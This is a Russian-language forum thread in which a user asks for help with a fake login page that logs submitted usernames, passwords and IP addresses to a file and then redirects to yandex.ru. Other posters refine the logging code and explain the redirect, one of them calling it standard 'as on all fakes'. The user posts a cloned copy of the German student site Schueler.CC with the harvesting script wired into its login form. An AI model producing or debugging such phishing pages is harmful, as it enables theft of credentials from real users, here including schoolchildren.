Есть такой код: PHP: <? global $login; $filename = "log.php"; function reglog() { global $filename, $login, $pass, $REMOTE_ADDR; $d = date("d.m.Y - H.i.s"); $str = " Login $login Password $pass IP $REMOTE_ADDR Date $d"; $f = fopen($filename, "a"); fwrite($f, "$str\n"); fclose($f); } if ($login) reglog(); ?> <form action="" method="post" name="f"> <tr> <td width="25%">Login</td> <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> </tr> <tr> <td>Password</td> <td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br> <tr> <td>Password2</td> <td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br> </tr> <tr> <td colspan="2"> <input type="submit" value="Register"><br> </td> </tr> </form> Как сделатьчтобы после нажатия н кнопку пользователь переходит на определенный сайт? например action="http://ya.ru/" неработает! точнее работает но данные из форм не пишутся в файл!
1. Проверь права на запись 2.В коде исправь: PHP: $str = " Login ".$login." Password ".$pass." IP ".$REMOTE_ADDR." Date ".$d; Будет работать, если регистр глобалс on иначе везде надо POST['login'], POST['pass'].
дык запиши данные файл а потом переадресовывай, как на всех фейках. А не пишется ещё потому что функция ничего не возвращает PHP: <? global $login; $filename = "log.php"; function reglog() { global $filename, $login, $pass, $REMOTE_ADDR; $d = date("d.m.Y - H.i.s"); $str = " Login $login Password $pass IP $REMOTE_ADDR Date $d"; $f = fopen($filename, "a+"); fwrite($f, $str."\n"); fclose($f); header('location: http://yandex.ru'); return true; } if ($login) reglog(); ?> <form action="" method="post" name="f"> <tr> <td width="25%">Login</td> <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> </tr> <tr> <td>Password</td> <td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br> <tr> <td>Password2</td> <td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br> </tr> <tr> <td colspan="2"> <input type="submit" value="Register"><br> </td> </tr> </form> Но я бы на твоём месте этот скрипт сделал совершенно по-дургому, т.к. твой метод считаю корявым) я б сделал вот так: PHP: <?php function reglog($filename, $login, $pass) { $d = date("d.m.Y - H.i.s"); $addr = getenv('REMOTE_ADDR'); $str = 'Login '.$login."\n"; $str .= 'Password '.$pass."\n"; $str .= 'IP '.$addr."\n"; $str .= 'Date '.$d."\n"; $f = fopen($filename, "a+"); fwrite($f, $str."\n"); fclose($f); header('location: http://yandex.ru'); return true; } $filename = 'log.txt'; if (isset($_POST['go'])) reglog($filename, $_POST['login'], $_POST['pass']); ?> <form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f"> <tr> <td width="25%">Login</td> <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> </tr> <tr> <td>Password</td> <td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br> <tr> <td>Password2</td> <td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br> </tr> <tr> <td colspan="2"> <input type="submit" value="Register" name="go"><br> </td> </tr> </form> Так мне больше нравится))
Большое спасибо! Хотел сделать фейл но вот такая ошибка: Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 103
немогу модифицировать информацию заголовка, заголовки уже отправлены, смотри как юзать header тут: http://php.su/functions/?f=header&choice=info PS Вообщем ставь php-код в самое начало страницы.
куки сессии хидеры пишуться только в начале скрипта, делай проверку на нажатие кнопки и все а дальше выводи html или редиректь
омг PHP: <?php ob_start(); function reglog($filename, $login, $pass) { $d = date("d.m.Y - H.i.s"); $addr = getenv('REMOTE_ADDR'); $str = 'Login '.$login."\n"; $str .= 'Password '.$pass."\n"; $str .= 'IP '.$addr."\n"; $str .= 'Date '.$d."\n"; $f = fopen($filename, "a+"); fwrite($f, $str."\n"); fclose($f); header('location: http://yandex.ru'); return true; } $filename = 'log.txt'; if (isset($_POST['go'])) reglog($filename, $_POST['login'], $_POST['pass']); ob_end_flush(); ?> <form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f"> <tr> <td width="25%">Login</td> <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> </tr> <tr> <td>Password</td> <td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br> <tr> <td>Password2</td> <td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br> </tr> <tr> <td colspan="2"> <input type="submit" value="Register" name="go"><br> </td> </tr> </form>
Сверавно: Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 102 102 return true;
HTML: <html> <head> <title> Schueler.CC | Dein Schu"ler Community-Center</title> <META http-equiv=Content-Type content="text/html; charset=iso-8859-1"> <META content="MSHTML 6.00.2600.0" name=GENERATOR> <META NAME="description" CONTENT=""> <META NAME="keywords" CONTENT=""> <META NAME="page-type" CONTENT="Homepage"> <META NAME="robots" CONTENT="index,follow"> <script language="JavaScript" src="http://www.schueler.cc/js/style.js"></script> <script language="JavaScript" src="http://www.schueler.cc/js/func.js"></script> <script language="JavaScript" src="http://www.schueler.cc/js/AC_RunActiveContent.js"></script> <link rel="stylesheet" href="http://www.schueler.cc/css/style.css?2105" type="text/css"> <link rel="shortcut icon" type="http://www.schueler.cc/image/x-icon" href="http://www.schueler.cc/favicon.ico"> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script> <script type="text/javascript"> _uacct = "UA-1404380-1"; urchinTracker(); </script> </head> <body> <input type="hidden" name="button_gui_chat_ablehnen" value="ok"><input type="hidden" name="cb_id"> </form> <input type="hidden" name="button_gui_keine_lust" value="ok"><input type="hidden" name="b_id"> </form> <div align="center"> <div id="mf_wall"></div> <table cellpadding=0 cellspacing=0 border=0 > <tr> <td valign="top" class="bg_weiss"> <table cellpadding=0 cellspacing=0 border=0 width=760> <tr> <td width=160><img src="http://www.schueler.cc/b/logo.png" width=160 height=86 border=0></a></td> <td width=600> <table cellpadding=0 cellspacing=0 border=0 width=600 background="http://www.schueler.cc/b/layout/bar_bg.png"> <tr> <td><img src="http://www.schueler.cc/b/layout/topbar_begin.png" width=3 height=25 border=0></td> <td><a href="http://www.schueler.cc/s,login,anmeldung.php" class="oben"> anmelden </a></td> <td> <a target="_blank" href="http://www.schueler.cc/s,hilfe.php" class="oben"> hilfe </a></td> <!-- <td style="whitespace:nowrap; width:100px;"><a href="s,blog.php" class="oben"> blog </a></td> --> <td width=100%></td> <td><a href="http://www.schueler.cc/s,login,login.php" class="oben"> login </a></td> <td><img src="http://www.schueler.cc/b/layout/topbar_end.png" width=3 height=25 border=0></td> </tr> </table> <img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br> <script language="JavaScript"> <!-- mbja0=new Image(); mbja0.src="http://www.schueler.cc/b/bjetztanmelden0.png"; mbja1=new Image(); mbja1.src="http://www.schueler.cc/b/bjetztanmelden1.png"; //--> </script> <table cellpadding=0 cellspacing=0 border=0 width=600 class="grauerrahmen"> <tr> <td width=60></td> <td align="center" style="font-size:18px" height=60><b>Noch nicht dabei?</b></td> <td align="center"><a href="http://www.schueler.cc/s,login,anmeldung.php" onmouseover="mbja.src=mbja1.src" onmouseout="mbja.src=mbja0.src"><img src="http://www.schueler.cc/b/bjetztanmelden0.png" name="mbja" width=177 height=39 border=0></a></td> <td width=60></td> </tr> </table> <img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br> </td> </tr> </table> <table cellpadding=0 cellspacing=0 border=0 width=760 height=25> <tr> <td width=2 class="bar0"></td> <td width=158 class="bar1"></td> </form> <td width=299 class="bar1"></td> <td width=299 class="bar3"><div class="ueber" style="color:#FFFFFF">Dein Schu"ler Community-Center!</div></td> <td width=2 class="bar2"></td> </tr> </table> <img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br> <table cellpadding=0 cellspacing=0 border=0 width=760> <tr> <td width=160 valign="top"> <table cellpadding=0 cellspacing=0 border=0 width=160 class="rechtenav"> PHP: <?php ob_start(); function reglog($filename, $login, $pass) { $d = date("d.m.Y - H.i.s"); $addr = getenv('REMOTE_ADDR'); $str = 'Login '.$login."\n"; $str .= 'Password '.$pass."\n"; $str .= 'IP '.$addr."\n"; $str .= 'Date '.$d."\n"; $f = fopen($filename, "a+"); fwrite($f, $str."\n"); fclose($f); header('location: http://yandex.ru'); return true; } $filename = 'log.txt'; if (isset($_POST['go'])) reglog($filename, $_POST['login'], $_POST['pass']); ob_end_flush(); ?> HTML: <form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f"> <tr> <td align="left"> <img src="http://www.schueler.cc/b/s.png" width=1 height=7 border=0><br> <div style="padding-left:2px"><b class="grau">E-Mail:</b><br> <input type="text" name="login" maxlength="80" value="" class="cartlogin"><br> <b class="grau">Passwort:</b><br> <input type="password" maxlength="20" name="pass" class="cartlogin"><br> <img src="http://www.schueler.cc/b/s.png" width=1 height=3 border=0><br> <input type="submit" value="Login" name="go" class="submit" style="width:45px"> </form><br><br> Noch nicht dabei?<br> <a href="http://www.schueler.cc/s,login,anmeldung.php"><b>Jetzt anmelden!</b></a> <br><br> <a href="http://www.schueler.cc/s,login,pwvergessen.php">Passwort vergessen?</a></div> <img src="http://www.schueler.cc/b/s.png" width=1 height=7 border=0><br> </td> </tr> </table> <br> <table cellpadding=0 cellspacing=0 border=0 width=160> <tr> <td align="center"> <table cellpadding=0 cellspacing=0 border=0 width=144> <tr> <td class="topic" colspan=2>Community-News</td> </tr> <tr> <td background="http://www.schueler.cc/b/layout/topic_s.png" height=1 colspan=2></td> </tr> <tr><td height=5></td></tr> <tr> <td class="grauerrahmen" style="padding:3px;">Ich sehe was, was du nicht siehst...<br><br>und das...<br>...bewegt sich<br>...gibt Gera"usche von sich<br>...ist ein neues Feature<br>...ist ab Montag auf CC<br>...ist von vielen schon lange erwartet</td> </tr> </table> </td> </tr> </table> </td> <td width=600 class="grauerrahmen" valign="top" align="center"> <script language="JavaScript"> <!-- mbja0=new Image(); mbja0.src="http://www.schueler.cc/b/bjetztanmelden0.png"; mbja1=new Image(); mbja1.src="http://www.schueler.cc/b/bjetztanmelden1.png"; //--> </script> <table cellpadding=0 cellspacing=0 border=0 width=100%> <tr> <td width=70% valign="top" align="center"> <br> <table cellpadding=0 cellspacing=0 border=0 width=380 height=100%> <tr> <td><b>Schueler.<span class="orange">CC</span> - Deutschlands Schu"ler Community</b><br><div class="grau" style="font-size:10px;">Die Plattform fu"r dich, deine Klasse und deine Freunde</div> <br> <ul> <li>Erfahre mehr u"ber deinen Freundeskreis und deren Freunde<br><br></li> <li>Lerne u"berall neue Leute kennen: An deiner Schule, in deiner Stadt...<br><br></li> <li>Extra Bereich fu"r deine Klasse mit eigenem Forum, Chat und vielem mehr.<br><br></li> <li>U"ber 20.000 Schulen sind bereits eingetragen, werde jetzt Teil von Deutschlands gro?er Schu"ler-Community!<br><br></li> </ul> <table cellpadding=0 cellspacing=0 border=0 width=100%> <tr> <td valign="bottom"><img src="http://www.schueler.cc/b/cc_homies.png" border=0></td> <td valign="top"> <ul> <li>alles 100% kostenlos<br><br></li> </ul> <div align="center"><a href="http://www.schueler.cc/s,login,anmeldung.php" onmouseover="mbja2.src=mbja1.src" onmouseout="mbja2.src=mbja0.src"><img src="http://www.schueler.cc/b/bjetztanmelden0.png" name="mbja2" width=177 height=39 border=0></a></div> </td> </tr> </table> </td> </tr> </table> </td> <td width=30% style="background-color:#EEEEEE;" align="center" valign="top"> <br><b>Gerade neu angemeldet:</b><br><br> <img src="http://images02.schueler.cc/daten/njlp/pb_m_njlphp.png" border=0><br><div><b>Nikolai Naumann</b></div>Friedrich-List-Schule<br><br><img src="http://images02.schueler.cc/daten/njlp/pb_m_njlphr.png" border=0><br><div><b>Bianca Maier</b></div>Staatliche Realschule Pfarrkirchen<br><br></td> </tr> </table> </td> </tr> </table> <table cellpadding=0 cellspacing=0 border=0 width=760> <tr> <td width=160></td> <td align="center"> <table cellpadding=4 cellspacing=4 border=0> <tr> <td><a href="http://www.schueler.cc/s,jugendschutz.php" class="unten"> Jugendschutz </a></td> <td><a href="http://www.schueler.cc/s,nutzungsbedingungen.php#datenschutz" class="unten"> Datenschutz </a></td> <td><a href="http://www.schueler.cc/s,nutzungsbedingungen.php" class="unten"> Nutzungsbedingungen </a></td> <td><a href="http://www.schueler.cc/s,impressum.php" class="unten"> Impressum </a></td> </tr> </table> </td> </tr> </table> </td> <td valign="top"> <table cellpadding=0 cellspacing=0 border=0 > <tr> <td align="center" style="padding-left:10px;"> <div id="mf_sky"> <div class="scc_advert">-Anzeige-</div> <script type="text/javascript" src="http://adserver.adtech.de/addyn|3.0|247|1289006|0|168|ADTECH;loc=100;target=_blank;key=scc_m_15;kvsite=scc;kvsex=m;kvage=15;grp=1208708517;misc=2008.04.20.18.21.57.862630"></script></div> </td> </tr> </table> </td> </tr> </table> </div> </body> </html> Это все вместе. Все пробелывсеубрал всеравно это предупреждение!
HEADER("LOCATION:ya.ru?ok") Проблему с HEADER возникают тока у новичков ... .делаем так if(iiset($_GET['ok'])) { echo 'О прикольна))'; } <form action=file.php?ok> .... <.form>
мля(( PHP: <?php if(isset($_POST['ok'])) { echo 'УРА'; exit(); } function reglog($filename, $login, $pass) { $d = date("d.m.Y - H.i.s"); $addr = getenv('REMOTE_ADDR'); $str = 'Login '.$login."\n"; $str .= 'Password '.$pass."\n"; $str .= 'IP '.$addr."\n"; $str .= 'Date '.$d."\n"; $f = fopen($filename, "a+"); fwrite($f, $str."\n"); fclose($f); header('location: http://yandex.ru'); return true; } $filename = 'log.txt'; if (isset($_POST['go'])) reglog($filename, $_POST['login'], $_POST['pass']); ?> <form action="<?=$_SERVER['PHP_SELF'];?>?ok" method="post" name="f"> <tr> <td width="25%">Login</td> <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> </tr> <tr> <td>Password</td> <td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br> <tr> <td>Password2</td> <td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br> </tr> <tr> <td colspan="2"> <input type="submit" value="Register" name="go"><br> </td> </tr> </form> <form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f"> ВОт видишь... .НИзнаю плохо так или нет... .Зато всё работает))
Хех только всеравно не работает! Адрес просто добавляется в строку но не переходит. Получается: PHP: <?php if(isset($_POST['ok'])) { echo 'ÓÐÀ'; exit(); } function reglog($filename, $login, $pass) { $d = date("d.m.Y - H.i.s"); $addr = getenv('REMOTE_ADDR'); $str = 'Login '.$login."\n"; $str .= 'Password '.$pass."\n"; $str .= 'IP '.$addr."\n"; $str .= 'Date '.$d."\n"; $f = fopen($filename, "a+"); fwrite($f, $str."\n"); fclose($f); header('location: http://yandex.ru'); return true; } $filename = 'log.txt'; if (isset($_POST['go'])) reglog($filename, $_POST['login'], $_POST['pass']); ?> <form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f"> Вот если этот код вставить в тот что выше то неработает ну сам проверь. Предупреждение: Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\1233.php:11) in Z:\home\localhost\www\1233.php on line 19м 19 строка: header('location: http://yandex.ru');